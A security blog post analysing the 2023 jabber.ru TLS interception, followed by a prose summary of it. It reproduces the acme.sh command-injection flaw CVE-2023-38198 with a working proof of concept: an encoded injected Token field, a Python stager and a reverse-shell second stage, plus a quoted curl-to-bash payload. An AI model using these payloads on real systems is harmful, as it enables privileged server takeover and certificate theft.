Parallel Reconstruction of Lawful TLS Wiretapping |
REMY HAXREMY HAXHomeThis BlogAll TagsAll PostsToolsAuthorParallel Reconstruction of Lawful TLS WiretappingMay 30, 2026
11 mins read
Let's Encrypt
Reverse EngineeringTransport Layer Security (TLS) is the protocol involved in getting the lock icon to appear in your browser next to the URL. Under the hood it uses a bunch of really cool numbers for encryption. Some numbers are considered private and need securing; some are considered public and are fine for sharing. You can mix your numbers with other people’s numbers in such a way that you can verify a chain of trust. Ultimately, at the top of this chain there has to be an entity or entities that are implied to be trustworthy, so that the links further down the chain of numbers can inherit that trust. This is the role of a root Certificate Authority (CA) at the top (root) of the chain.There is, of course, a lot of nuance and detail missing from this high-level explanation of TLS and CA trust, but rest assured that understanding how things are supposed to work bears little influence on the ability to simply do things anyway.As a baseline, TLS wiretapping (presumably lawful) with root-CA-signed certificates is a thing that both happens and verifiably has happened.Encrypted traffic interception on Hetzner and Linode targeting the largest Russian XMPP (Jabber) messaging service (2023)This being a fact rather than a conspiracy theory tends to upset people. Meanwhile, if you understand the mechanics at play, it’s objectively very funny that someone likely forgot to renew the TLS certificate for a lawful intercept, resulting in a huge warning page for users and ultimately prompting the detailed investigation seen in the link above. It’s a rather amusing way to burn an operation.In this blog, we’ll exercise the benefit that hindsight is 20/20 and further suspend our expectations of how TLS is supposed to work. We’ll take a look at the analysis, the recommendations, and the factors in the larger system that was the year 2023, to attempt to answer how it actually could have worked, with a demonstration.AnalysisThe analysis blog on valdikss.org is extremely detailed, which is particularly useful since these things are almost exclusively only ever seen when an operational mistake occurs. I can’t “read” in the traditional left-to-right sense; it’s more like a smattering of a word cloud, and I’ve got 30+ years of experience correctly guessing the order. Allow me to demonstrate the value of that visually as we read through an analysis.Big things are easy to guess the relevance of, but if the mystery were obvious it wouldn’t be a mystery. The devil’s in the details, and acme.sh (with the arrow pointing to it) is very small.When you process information this way, you lose the ordering of relevance. I typically skim a document deliberately, looking for numbers indicative of time so I can put it together in my head.DateEvent18 Apr 2023Unknown actor begins issuing SSL/TLS certificates25 Apr 2023 - 03 Nov 2023Other stuff happensThe core takeaways: look for events around April 18th, 2023 that may involve acme.sh (that’s a pretty clear missing piece) and note the things that happened afterward.acme.shRemember that chain-of-trust example from the start of the article? ACME is a protocol used to establish trust for the issuance and renewal of TLS certificates from certificate authorities. acme.sh is a shell-script executable that helps automate that process using the ACME protocol. acme.sh is what was running on the jabber.ru server to facilitate their TLS certificate renewals. Typically these run on a timer that calls out and renews a certificate before it expires.Notable events related to acme.sh around April 18th, 2023 include a remote code execution vulnerability disclosed on June 8th, 2023, eventually assigned CVE ID CVE-2023-38198. A patched release was available on Jun 9th, 2023. The jabber.ru server, running acme.sh on April 18th, would have been using a version vulnerable to this exploit.That seems potentially relevant!CVE-2023-38198In the GitHub issue that first disclosed the vulnerability, it was noted that this was being abused by a certificate authority, “HiCA”, to… issue a certificate. Across all the observed activity in the GitHub issue, you’ll see the chaos that is shell interpolation and dancing around forbidden/filtered characters to do the desired thing the wrong way.There are lots of useful goodies there, but even the examples given are in fact “broken” for the purpose of reproducing this vulnerability. The nature of the vulnerability is such that the crux of the issue lies between the data on the wire and the representation of that data when processed by the ACME client, including for logging/debug purposes. So while what we see in the debug logs will be close to the original, there has to be stuff missing.@mholt - It turns out that the Challenge objects look unusual. Here’s a lightly-formatted example:{
Type: http-01
URL: ../pki-validation
Status: pending
Token: dd#acme.hi.cn/acme/v2/precheck-http/123456/654321#http-01#/tmp/$(curl`IFS=^;cmd=base64^-d;$cmd<<<IA==`-sF`IFS=^;cmd=base64^-d;$cmd<<<IA==`csr=@$csr`IFS=^;cmd=base64^-d;$cmd<<<IA==`https$(IFS=^;cmd=base64^-d;$cmd<<<Oi8v)acme.hi.cn/acme/csr/http/123456/654321?o=$_w|bash)#
KeyAuthorization: dd#acme.hi.cn/acme/v2/precheck-http/123456/654321#http-01#/tmp/$(curl`IFS=^;cmd=base64^-d;$cmd<<<IA==`-sF`IFS=^;cmd=base64^-d;$cmd<<<IA==`csr=@$csr`IFS=^;cmd=base64^-d;$cmd<<<IA==`https$(IFS=^;cmd=base64^-d;$cmd<<<Oi8v)acme.hi.cn/acme/csr/http/123456/654321?o=$_w|bash)#.GfCBN3dYnfNB-Hj1nBYek89o9ohtt9K59uacS13wigw
}
Something close to the above payload does some stuff, which results in some more stuff, which looks like this:This final screenshot is non-standard for ACME but benign in nature. It’s simply facilitating PKI validation, which is a step in issuing a certificate. This happily answers the observed intention of HiCA abusing this vulnerability, but does little to answer “how”.HowWe know the vulnerability deals with:ACME challenge type http-01It’s in the payloadSome form of command injectionThe whole ACME client is a shell scriptThe vulnerability exists in the TokenThat’s where all the nonsense is locatedSome characters aren’t allowedClearly spaces aren’t allowed; it’s nested and packed into one lineBy making some light modifications to an ACME server, I began toying around with and minifying the payload from the GitHub issue, trying to figure out how to get it to work. After two nights, I gave up. I could not get the redefinition of the Input Field Separator as IFS=^ to work in any manner whatsoever. As-is, there are so many pre-processing layers involved in ACME that you simply can’t use it that way to gain remote code execution. Generically, the IFS trick is what allows packing a nested command into the Token field with no spaces (which also aren’t allowed) in the first place.I remain confident that either:I’m an idiot who can’t figure out how to get the a simple IFS trick past the filters, orHiCA was actively figuring out/changing the payloads over the course of the timeline in the GitHub issue.At least one, possibly both, are true. It is worth noting that I see IFS tricks most commonly abused by botnet operators, such as Mirai variants. It makes me wonder why someone at HiCA, a company dealing with security, was so well versed in IFS filter bypass tricks, only to use them to do the exact benign expected thing anyway.But then again, I’m also a “good guy” who’s about to do the same thing they did, and being an idiot has never stopped me before.DIYAs best as I can tell, the token response listed in the GitHub is attempting to redefine the IFS as ^, which didn’t work on any system I tried, or any variation I attempted, and also didn’t pass through field parsing of acme.shEven though I couldn’t reproduce it, the intended mechanism appears to be:# Set Input Field separator to ^ for top level interpreter, using ; to avoid using spaces
IFS=^;
# Define a variable "cmd" as "base64 -d" using the new IFS
cmd=base64^-d;
# Redirect a base64 encoded space " " character into "cmd" to produce a space
$cmd<<<IA==
# Redirect base64 encoded "://" to produce those characters for the preceding curl
$cmd<<<Oi8v
These 3 tricks, ideally wrapped in the correct sequence of backticks and $() allow them to create and use characters several layers down of interpretation and parsing that otherwise break acme.sh ACME issuance flow.Again, squinting VERY hard at the HiCA developer who put in the effort to develop this.Regardless, it doesn’t work on my machine(s), but clearly a version at some time (potentially not recorded on the GitHub issue) did in fact work.Employing the same nested lifting of whitespace to encode shell commands to pass the filter, I came up with:{
Type: http-01
URL: ../pki-validation
Status: pending
Token: dd##http-01#/tmp/$(echo`echo|nl`aW1wb3J0IHNvY2tldCBhcyBzO2E9cy5zb2NrZXQocy5BRl9JTkVULHMuU09DS19TVFJFQU0pO2EuY29ubmVjdCgoIjEyNy4wLjAuMSIsOTk5OSkpO2V4ZWMoYS5yZWN2KDQwOTYpKTsg`echo|nl`|`echo|nl`base64`echo|nl`-d|python3)#
}
The trick here is echo|nl, for which echo produces a single \n whitespace character, and nl reads that character, and produces that character. This produces a single whitespace character without using any whitespace characters, for which we can craft a shell command.Unpacking it is much simpler:# Base64 decode a string and pipe it to python3 STDIN
$(echo aW1w... | base64 -d | python3)
The contents of the base64 are the golfed python code (made as small as possible). Base64 encoding to avoid spaces means the result becomes ~33% larger.And that becomes quite the problem due to the fact that the maximum length of a file path component in linux is typically 255 bytes and this vulnerability requires putting the exploit code in the filename itself, instead of in the file. Exceeding 255 bytes results in the filesystem itself rejecting the exploit.remy@bigboi:~$ ls /tmp
'$(echo`echo|nl`aW1wb3J0IHNvY2tldCBhcyBzO2E9cy5zb2NrZXQocy5BRl9JTkVULHMuU09DS19TVFJFQU0pO2EuY29ubmVjdCgoIjEyNy4wLjAuMSIsOTk5OSkpO2V4ZWMoYS5yZWN2KDQwOTYpKTsg`echo|nl`|`echo|nl`base64`echo|nl`-d|python3)'
Hence, code golfing. I did the easy thing and just wrote a simple stager that connects back to my server, reads 4096 bytes, and executes the python code entirely in memory.import socket as s;a=s.socket(s.AF_INET,s.SOCK_STREAM);a.connect(("127.0.0.1",9999));exec(a.recv(4096));
On my server, I pipe a typical python reverse shell into the interpreter, which catches the shell on another port.# Stage 2
socket=__import__("socket");os=__import__("os");pty=__import__("pty");s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("127.0.0.1",10000));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn("/bin/sh")
In practice, certificates are considered sensitive and the various ACME clients like acme.sh are run with elevated privileges. When the server at “victim.com” attempts to issue a new certificate from “totally-legit-ca.com”, we land a privileged reverse shell.The acme.sh client hangs indefinitely not triggering any errors and the only suspicious thing that can be seen is a standard python3 interpreter. With a privileged shell, it’s quite easy to clean up the “exploit in a filename” from /tmp, or just leave it there. The /tmp directory is typically cleared on system reboot which would remove all artifacts.Process tree:sh ./acme.sh ... (PID 124643)
└─ python3 (PID 124647)
The only remaining piece needed for successful exploitation is to control the routing of the network for the ACME client and CA responses, for which that aspect is thoroughly covered in the valdikss.org blog and is trivial to do in many forms. Basically, that’s a large part of why TLS and certificates exist as part of the internet ecosystem in the first place.SummaryA presumed lawful operation occurred that involved covertly redirecting network traffic, issued multiple fraudulent CA signed certificates that appeared in publicly auditable certificate transparency logs, and got caught because they forgot to renew a certificate or cleanly tear down their interception. There was simultaneously a covert remote code execution vulnerability that was readily available and actively being abused by another actor. This would have allowed the wiretappers to make copies of pre-existing certificates for use in TLS interception and produce no artifacts at all.We will likely never know the specifics of exactly what occurred with the CA signed TLS wiretapping of jabber.ru. The timeline I’ve provided and proof-of-concept exploit I’ve demonstrated serve to show that while the ACME protocol itself has rigor, the software running the protocols will always be the weakest link. There remain more vulnerabilities in ACME clients to this day; looking out at my graveyard of tech devices I’ve reverse engineered over the years, I know this to be a fact. These vulnerabilities remain unreachable barring a malicious CA or full influence of network routing, but they also exist in a space that would go completely unnoticed and attributed to myth and legend unless the operator of the interception got a bit… sloppy, with something that is quite trivial to execute on if you have the resources and positioning.Following this incident there was a very well-thought-out blog about how to mitigate this sort of attack in the future:https://www.devever.net/~hl/xmpp-incident“As such, it’s useful to consider what a more competent nation-state adversary (whom I’ll name Mallory for our purposes) would do. Here, I’ll assume that Mallory can do anything other than actually compromise the victim machine itself or its operator (which is not a good assumption, but bear with it)” - Hugo Landau

Transport Layer Security (TLS) relies on a system of numbers for encryption, establishing a chain of trust anchored by a root Certificate Authority (CA) to assure the integrity of the communication. Lawful TLS wiretapping based on root-CA-signed certificates is technically feasible, which underscores the importance of understanding the underlying mechanics of the protocol. The discussion posits that while the theoretical structure of TLS and CA trust is complex, operational realities often depend more on system implementation and software vulnerabilities.

A specific incident involving encrypted traffic interception targeting the largest Russian XMPP messaging service (Jabber) in 2023 provided context for examining these underlying mechanics. The analysis revealed that operational failures, such as forgetting to renew a TLS certificate, can expose systems and prompt detailed investigations.

The core of the analysis focuses on the ACME protocol, which is used for establishing trust in the issuance and renewal of TLS certificates, often automated via tools like acme.sh, which functions as a shell script to automate these processes. This investigation pinpointed potential systemic weaknesses within the ACME implementation that could enable exploitation. A notable vulnerability, identified as CVE-2023-38198, was revealed, which allowed for remote code execution and was reportedly being abused by a certificate authority, "HiCA," to issue certificates. This vulnerability stemmed from improper handling of data representation between the data on the wire and how the ACME client processed it, particularly concerning logging and debug purposes.

The exploitation vector was found within the ACME challenge type http-01, where command injection and a deficiency in character handling within the formatting of the Token field were central to the vulnerability. The vulnerability existed because the entire ACME client operates as a shell script, allowing for the injection of commands. While attempts to reproduce the exploit demonstrated that standard shell techniques for manipulating the Input Field Separator (IFS) variable were insufficient due to numerous pre-processing layers in the ACME flow, the core exploit mechanism involved nesting whitespace and shell commands within the data structures of the challenge response to bypass filters. This involved using techniques such as echo and nl to craft single whitespace characters from encoded data, which could then be used to inject commands into the token.

The difficulty in reproducing the exploit suggests that either the exploit payload was dynamically changed by the actor, or the development of the exploit requires deep knowledge of the specific context and processing logic of the ACME implementation. The analysis highlighted that the vulnerability exists at the level of the software running the protocols, suggesting that the ACME protocol itself, despite its rigor, is not inherently immune to these flaws. The implication is that vulnerabilities remain in ACME clients, which are often run with elevated privileges, creating a critical risk when dealing with sensitive operations like certificate issuance. The text ultimately suggests that such vulnerabilities could remain unnoticed unless the operator of the interception is careless, or if a malicious entity possesses sufficient control over network routing, reinforcing the idea that the software layer is the critical point of failure in the internet's security ecosystem.